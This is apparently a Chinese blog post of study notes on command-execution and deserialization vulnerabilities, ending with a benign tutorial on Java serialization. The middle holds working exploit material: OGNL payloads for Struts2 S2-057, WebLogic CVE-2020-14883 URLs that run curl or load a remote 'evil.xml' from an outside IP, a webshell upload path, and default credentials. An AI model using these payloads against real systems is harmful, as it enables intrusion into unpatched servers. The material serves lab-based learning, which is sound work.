关于命令执行与反序列化

关于命令执行与反序列化

 

 

 

命令与代码执行

实际就是对要求输入的值没有严格控制,导致恶意命令执行了。

简介:自己读吧,官方的东西。

1、远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而如果设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器 。

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"

2、远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
你可以通过“RCE”对应的测试栏目,来进一步的了解该漏洞。

1、命令执行原理

设计者在编写代码时没有做严格的安全控制,导致攻击者通过接口或相关参数提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器 。

如开发者运用了system())函数等,没做好限制,造成命令执行

2、代码执行原理

没有对对接口输入的内容进行严格判断,造成攻击者精心构造的代码非法执行。

如开发者运用了eval()函数等,没做好限制,造成代码执行

3、命令执行一般出现那些地方

  • 只要带参数的地方都可能出现命令执行漏洞
  • 常见的路由器、防火墙、入侵检测、自动化运维平台(可能可以执行命令的平台)

4、寻找命令执行漏洞

黑盒:渗透测试

测带参数的地方
例如:直接上命令,包头
GET /xxe2/xml.php?id=1 whoami HTTP/1.1

白盒:代码审计

1)执行系统命令: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)
(2)代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
(3)文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
(4).htaccess: SetHandler, auto_prepend_file, auto_append_file

总结:白盒就是看代码有什么函数,如:exec、system、assert等,如果有这些地方,那么对这些地方进行命令测试。

知识补充:

  • shell_exec()函数,这是执行操作系统命令的命令执行

  • eval()函数,这是执行php源代码命令的代码执行

    两个函数的作用域不同,能力也不一样,shell_exec()函数更狠,执行操作系统的

5、常用命令执行测试方法

直接在原本命令值后面加入符号:

  • &
  • &&
  • |
  • ||

(一个&都要执行,前面错了也执行,两个&前面错了后面就不执行了,基本就是通配符的使用)

6、实战测试及防范

以DVWA为例:

低级:源码审计

在这里插入图片描述

没有任何过滤,且调用的系统命令执行,那么无论如何构造都能执行攻击者的目的,

举例:一个&

在这里插入图片描述

中级:源码审计

在这里插入图片描述

绕过比如用其他没有黑名单限制的,一个&
在这里插入图片描述

高级:源码审计

在这里插入图片描述

注意圈出来的,黑名单中是一个|和空格,以及双||。

绕过比如直接一个|不加空格

在这里插入图片描述

比如两个|多加几个空格

在这里插入图片描述

完美级:源码审计

在这里插入图片描述

Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

例子:struts2典型的命令执行

1、先找struts2框架的标志就是action、do结尾的网站

2、可用web工具扫描站点列出可能存在的struts2漏洞

3、利用现有的工具对站点直接发起攻击,如Railgun等

045、048、046这些都是高危漏洞

实例:

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

struts2命令执行漏洞攻防演示:
历史漏洞:https://www.seebug.org/search/?keywords=struts2

(1)s2早期综合利用工具
(2)s2-045漏洞还原
http://192.168.0.127:8080/struts2-showcase/showcase.action
(3)s2-048攻击过程还原
struts2 S2-048远程代码执行漏洞exp
C:\>struts048.py http://192.168.32.95:8080/struts2-showcase/integration/saveGangster.action "ipconfig"

(4)s2-052攻击过程还原(针对版本struts 2.5-2.5.12)
Struts S2-052漏洞利用之Meterpreter(CVE-2017-9805)
https://www.cnblogs.com/Hi-blog/p/7510987.html

(5) S2-057漏洞复现(需要参数alwaysSelectFullNamespace被设置为true)
Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现
http://192.168.0.127:8080/struts2-showcase//actionChain1.action

参考文章:
https://blog.csdn.net/weixin_43625577/article/details/97111575
https://www.sinesafe.com/article/20180823/struts2057.html


s2-048注意事项:
首先在struts.xml配置文件添加<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
其次修改配置文件struts-actionchaining.xml 删掉namespace属性,或使用了通配符*
最后把type="chain"改成type="redirectAction"

攻击payload:
http://192.168.0.127:8080/struts2-showcase/${(1+1)}/actionChain1.action

${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

反序列化

1、什么是反序列化

就是把一个对象变成可以传输的字符串,目的就是为了方便传输

java比较强大,一般都在java中,php很少

一般都是白盒测试代码审计出来的,黑盒不现实

为什么反序列化:

(反序列化在大项目中就是为了节省资源)

PHP反序列化的时候,基本都是围绕着serialize(),unserialize()这两个函数。

首先序列化一下,有了序列化的值再进行反序列化

2、反序列化漏洞产生的原理

以php为例:

serialize() 和 unserialize() 在 PHP内部实现上是没有漏洞的,之所以会产生反序列化漏洞是因为应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。

当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的 payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

PHP反序列化:(低版本不支持反序列化)
即:把对象变成字符串方便传输
php两个函数:serialize() 和 unserialize() 序列化函数和反序列化函数
当传给 unserialize() 的参数可控时
这是一个接受序列化数据的api:

O:1:"S":1:{s:4:"test";s:29:"pikachu";}

替换为攻击代码:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

(通过(最好)代码审计的方式:
即开发者用到了序列化对象,即serialize() 这个函数
我们找出可控的变量:pikachu
然后通过将这个对象进行序列化内容,得到一串值,

O:1:"S":1:{s:4:"test";s:29:"pikachu";}

然后我们将这串值中的可控变量替换为我们的攻击代码,(即得到序列化值,将正常的值替换为攻击代码,让之后执行替换的攻击代码)

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

然后将这个内容交给客户端,客户端会进行反序列化,同时我们的攻击代码也将被执行。

php里面需要存在一些魔术函数,没有的话就不存在

3、PHP反序列化漏洞实战

在这里插入图片描述

->在php里是调用对象方法很或者属性的运算符。在一个类中,类的函数需要调用自身的方法或者属性需要用$this->来调用,而在类的实例中,也是通过->来调用的,只是前面的变量不是$this

在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。

序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

    $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu
    

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

        常见的几个魔法函数:
        __construct()当一个对象创建时被调用

        __destruct()当一个对象销毁时被调用

        __toString()当一个对象被当作一个字符串使用

        __sleep() 在对象在被序列化之前运行

        __wakeup将在序列化之后立即被调用

        漏洞举例:

        class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);

        payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

注:如果php没有相关的魔法函数,那么也是没有反序列化漏洞的。

当存在php反序列化漏洞的时候提交这个:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

4、Java反序列化

(只要是java写的都可能有反序列化漏洞,漏洞特别多,甚至比sql注入还多)

服务器是jboss的上来就反序列化
服务器是weblogic,端口一般是7001

1、jboss反序列化漏洞还原

jboss默认端口:8080 帐号和密码admin

标志性:在这里插入图片描述

通过工具,直接漏洞利用尝试:

在这里插入图片描述

在这里插入图片描述

补充:文件上传

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

2、Weblogic反序列化漏洞还原

默认端口7001,帐号和密码都是weblogic

Weblogic 常见漏洞有那些

弱口令、Java 反序列化漏洞操作(CVE-2018-2628)、
任意文件上传漏洞操作(CVE-2018-2894)、XML Decoder 反序列化漏洞操作(CVE-2017-10271)、SSRF 漏洞(需要安装Weblogic时选择UDDI组件)、反序列化漏洞(CVE-2019-2725 参考https://www.0dayhack.com/post-883.html)

(1)、弱口令    帐号和密码都是weblogic 
(2)、反序列化漏洞
(3)、任意文件上传漏洞操作(CVE-2018-2894)
未授权访问路径:http://192.168.0.127:7001/ws_utc/config.do
Weblogic默认路径:
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\tmp\WSTestPageWorkDir
我们改成以下路径
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wstestclient\i7n5e1\war\css
木马上传上去之后,访问方式如下:
http://192.168.0.127:7001/ws_utc/css/config/keystore/1604376329959_whoami.jsp
1604376329959_whoami.jsp
http://192.168.18.198:7001/ws_utc/css/config/keystore/1609327480415_whoami.jsp

(4)、SSRF 漏洞(可参考:https://www.jianshu.com/p/97b157a20108)

实例举例

1、反序列化漏洞,工具直接漏洞利用:

在这里插入图片描述

2、weblogic的未授权访问:
http://192.168.18.107:7001/console/css/%252e%252e%252fconsole.portal

在这里插入图片描述

发现我们现在是低权限的用户,无法安装应用,所以组合下面的CVE-2020-14883 可以继续利用

CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。

这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。

方法一:

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27curl%20pyxgs4.dnslog.cn%27);%22)

成功执行:

在这里插入图片描述

方法二:

一种更为通杀的方法,对于所有Weblogic版本均有效。

但是必须可以出网,要可以访问到恶意的xml

首先需要构造一个XML文件,并将其保存外网(漏洞机或者可访问的一台机子上)上,就是要有外网ip

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[curl 6zu4z2.dnslog.cn]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://64.254.68.38:8085/weblogic/evil.xml%22)

成功回显

3、weblogic的任意文件上传漏洞操作:

(CVE-2018-2894)

未授权访问路径:http://192.168.18.107:7001/ws_utc/config.do
Weblogic默认路径:
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\tmp\WSTestPageWorkDir
我们改成以下路径
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wstestclient\i7n5e1\war\css
木马上传上去之后,访问方式如下:
http://192.168.0.127:7001/ws_utc/css/config/keystore/1604376329959_whoami.jsp
1604376329959_whoami.jsp

http://192.168.18.198:7001/ws_utc/css/config/keystore/1609327480415_whoami.jsp

在这里插入图片描述

在这里插入图片描述

提交的时候抓包:

在这里插入图片描述

访问:默认格式是固定的

http://192.168.18.107:7001/ws_utc/css/config/keystore/1610440972928_whoami.jsp
4、SSRF漏洞

常见反序列化漏洞

s2-005、s2-009、s2-013、s2-016、s2-019、devmode、s2-032、s2-037、s2-045、s2-048、s2-052、s2-057

5、安全防范

1、安全配置好php相关参数

通过Php配置文件里面有个disable_functions = 配置,这个禁止某些php函数,
服务器便是用这个来禁止php的执行命令函数。

例如:
disable_functions =system,passthru,shell_exec,exec,popen
便禁止了用这些函数来执行系统命令

2、升级中间件

3、严格控制传入变量,严谨使用魔法

 
 
 

Java序列化是指把Java对象转换为字节序列的过程,而Java反序列化是指把字节序列恢复为Java对象的过程:

  • 序列化:对象序列化的最主要的用处就是在传递和保存对象的时候,保证对象的完整性和可传递性。序列化是把对象转换成有序字节流,以便在网络上传输或者保存在本地文件中。核心作用是对象状态的保存与重建。
  • 反序列化:客户端从文件中或网络上获得序列化后的对象字节流,根据字节流中所保存的对象状态及描述信息,通过反序列化重建对象。

2|02.序列化优点

一:对象序列化可以实现分布式对象。

主要应用例如:RMI(即远程调用Remote Method Invocation)要利用对象序列化运行远程主机上的服务,就像在本地机上运行对象时一样。

二:java对象序列化不仅保留一个对象的数据,而且递归保存对象引用的每个对象的数据。

可以将整个对象层次写入字节流中,可以保存在文件中或在网络连接上传递。利用对象序列化可以进行对象的"深复制",即复制对象本身及引用的对象本身。序列化一个对象可能得到整个对象序列。

三:序列化可以将内存中的类写入文件或数据库中。

比如:将某个类序列化后存为文件,下次读取时只需将文件中的数据反序列化就可以将原先的类还原到内存中。也可以将类序列化为流数据进行传输。

总的来说就是将一个已经实例化的类转成文件存储,下次需要实例化的时候只要反序列化即可将类实例化到内存中并保留序列化时类中的所有变量和状态。

四:对象、文件、数据,有许多不同的格式,很难统一传输和保存。

序列化以后就都是字节流了,无论原来是什么东西,都能变成一样的东西,就可以进行通用的格式传输或保存,传输结束以后,要再次使用,就进行反序列化还原,这样对象还是对象,文件还是文件。

什么场景下会用到序列化

  • 暂存大对象

  • Java对象需要持久化的时候

  • 需要在网络,例如socket中传输Java对象。因为数据只能够以二进制的形式在网络中进行传输,因此当把对象通过网络发送出去之前需要先序列化成二进制数据,在接收 端读到二进制数据之后反序列化成Java对象

  • 深度克隆(复制)

  • 跨虚拟机通信

3|03.如何使用序列化

通过上面的介绍大家已经了解了什么是序列化,以及为什么要使用序列化。这一节我们一起来学习一下如何使用序列化。

首先我们要把准备要序列化类,实现 Serializabel接口,至于为什么要实现Serializabel接口,我们后面再详细介绍。

我们现在想要将Person序列化,Person类如下:

package com.wugongzi.day0112; import java.io.Serializable; /** * add by wugongzi 2021/1/22 */ public class Person implements Serializable { private int id; private String name; private int age; public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public Person(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } @Override public String toString() { return "Person{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }

序列化:

package com.wugongzi.day0112; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.util.ArrayList; import java.util.List; /** * 序列化Person * add by wugongzi 2021/1/22 */ public class SerializationTest { public static void main(String[] args) throws IOException { Person p1 = new Person(1, "jack", 19); Person p2 = new Person(2, "mary", 22); List<Person> list = new ArrayList(); list.add(p1); list.add(p2); // 创建文件流 FileOutputStream fos = new FileOutputStream("/Users/File/person.txt"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(list); os.close(); System.out.println("serialization success"); } }

这里的person.txt就是序列化到本地的文件(打开会是乱码)

反序列化:

package com.wugongzi.day0112; import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.util.ArrayList; import java.util.List; /** * 反序列化Person * add by wugongzi 2021/1/22 */ public class DeserializationTest { public static void main(String[] args) throws IOException { FileInputStream fis = new FileInputStream("/Users/File/person.txt"); ObjectInputStream is = new ObjectInputStream(fis); Object obj = null; List<Person> list = new ArrayList<>(); try { list = (List<Person>)is.readObject(); } catch (ClassNotFoundException e) { e.printStackTrace(); } is.close(); //遍历list,输出 for (Person person:list){ System.out.println(person.toString()); } } }

输出结果:

Person{id=1, name='jack', age=19} Person{id=2, name='mary', age=22}

序列化流程:

 1)定义一个类,实现Serializable接口;

 2)在程序代码中创建对象后,创建对象输出流ObjectOutputStream对象并在构造参数中指定流的输出目标(比如一个文件),通过objectOutputStream.writeObject(obj)把对象序列化并输出到流目标处;

 3)在需要提取对象处:创建对象输入流ObjectInputStream对象并在构造参数中指定流的来源,然后通过readObject()方法获取对象,并通过强制类型转换赋值给类对象引用。

4|04.序列化原理

序列化算法会按步骤执行以下事情:

  1)当前类描述的元数据输出为字节序列;【类定义描述、类中属性定义描述】

  2)超类描述输出为字节序列;【如果超类还有超类,则依次递归,直至没有超类】

  3)从最顶层超类往下,依次输出各类属性值描述,直至当前类对象属性值。

  即:从下到上描述类定义,从上往下输出属性值。

5|05.为什么Java序列化要实现Serializable

首先我们来看一下Serializable接口源码:

package java.io; public interface Serializable { }

对,你没有看错,就是一个空接口。

既然这个接口里面什么东西都没有,那么实现这个接口意义何在呢?读到这里或许有很多同学会产生疑问:

一个空接口,里面啥都没有。为什么java设计的时候一定要实现Serializable才能序列化?不能去掉Serializable这个接口,让每个对象都能序列化吗?

比较有说服力的解释是:

总的就是说安全性问题,假如没有一个接口(即没有Serializable来标记是否可以序列化),让所有对象都可以序列化。那么所有对象通过序列化存储到硬盘上后,都可以在序列化得到的文件中看到属性对应的值(后面将会通过代码展示)。所以最后为了安全性(即不让一些对象中私有属性的值被外露),不能让所有对象都可以序列化。要让用户自己来选择是否可以序列化,因此需要一个接口来标记该类是否可序列化。

6|06.几个需要注意的点

1)静态变量和transient关键字修饰的变量不能被序列化;

​ 序列化时并不保存静态变量,这其实比较容易理解,序列化保存的是对象的状态,静态变量属于类的状态,因此 序列化并不保存静态变量。transient作用是控制变量的序列化,在变量声明前加上该关键字,可以阻止该变量被序列化到文件中,在被反序列化后,transient变量的值设为初始值,如int型的是0。

2)反序列化时要按照序列化的顺序重构对象:如先序列化A后序列化B,则反序列化时也要先获取A后获取B,否则报错。

3)serialVersionUID(序列化ID)的作用:决定着是否能够成功反序列化。

  虚拟机是否允许对象反序列化,不是取决于该对象所属类路径和功能代码是否与虚拟机加载的类一致,而是主要取决于对象所属类与虚拟机加载的该类的序列化 ID 是否一致

  java的序列化机制是通过在运行时判断类的serialVersionUID来验证版本一致性的。在进行反序列化时,JVM会把传来的字节流中的serialVersionUID与本地实体类中的serialVersionUID进行比较,如果相同则认为是一致的,便可以进行反序列化,否则就会报序列化版本不一致的异常。

4)自定义序列化方法的应用场景:对某些敏感数据进行加密操作后再序列化;反序列化对加密数据进行解密操作。

5)重复序列化:同一个对象重复序列化时,不会把对象内容再次序列化,而是新增一个引用指向第一次序列化时的对象而已。

6)序列化实现深克隆:在java中存在一个Cloneable接口,通过实现这个接口的类都会具备clone的能力,同时clone在内存中进行,在性能方面会比我们直接通过new生成对象要高一些,特别是一些大的对象的生成,性能提升相对比较明显。

7|07.常见的序列化技术

1、java 序列化

  优点:java语言本省提供,使用比较方面和简单

  缺点:不支持跨语言处理、性能相对不是很好,序列化以后产生的数据相对较大

2、XML序列化

  XML序列化的好处在于可读性好,方便阅读和调试。但是序列化以后的 字节码文件比较大,而且效率不高,适应于对性能不高,而且QPS较低的企业级内部系统之间的数据交换的场景,同时XML又具有语言无关性,所以还可以用于异构系统之间的数据交换和协议。比如我们熟知的WebService,就是采用XML格式对数据进行序列化的

3、JSON序列化

  JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,相对于XML来说,JON的字节流较小,而且可读性也非常好。现在JSON数据格式的其他运用最普遍的。序列化方式还衍生了阿里的fastjson,美团的MSON,谷歌的GSON等更加优秀的转码工具。

4、Hessian 序列化框架子

  Hessian是一个支持跨语言传输的二进制序列化协议,相对于Java默认的序列化机制来说,Hessian具有更好的性能和易用性,而且支持多重不同的语言,实际上Dubbo采用的就是Hessian序列化来实现,只不过Dubbo对Hessian进行重构,性能更高。

5、Protobuf 序列化框架

  Protobuf是Google的一种数据交换格式,它独立于语言、独立于平台。

  Google 提供了多种语言来实现,比如 Java、C、Go、Python,每一种实现都包含了相应语言的编译器和库文件Protobuf 使用比较广泛,主要是空间开销小和性能比较好,非常适合用于公司内部对性能要求高的 RPC 调用。 另外由于解析性能比较高,序列化以后数据量相对较少,所以也可以应用在对象的持久化场景中但是但是要使用 Protobuf 会相对来说麻烦些,因为他有自己的语法,有自己的编译器。

选型建议

  ① 对性能要求不高的场景,可以采用基于 XML 的 SOAP 协议

  ② 对性能和间接性有比较高要求的场景,那么Hessian、Protobuf、Thrift、Avro 都可以

  ③ 基于前后端分离,或者独立的对外的 api 服务,选用 JSON 是比较好的,对于调试、可读性都很不错

  ④ Avro 设计理念偏于动态类型语言,那么这类的场景使用 Avro 是可以的


__EOF__

 
 

[Ctrl+Enter快捷键提交]

 
 
 
 
 
 
 

posted on 2021-01-31 16:50  shuzihua  阅读(602)  评论(0编辑  收藏  举报

导航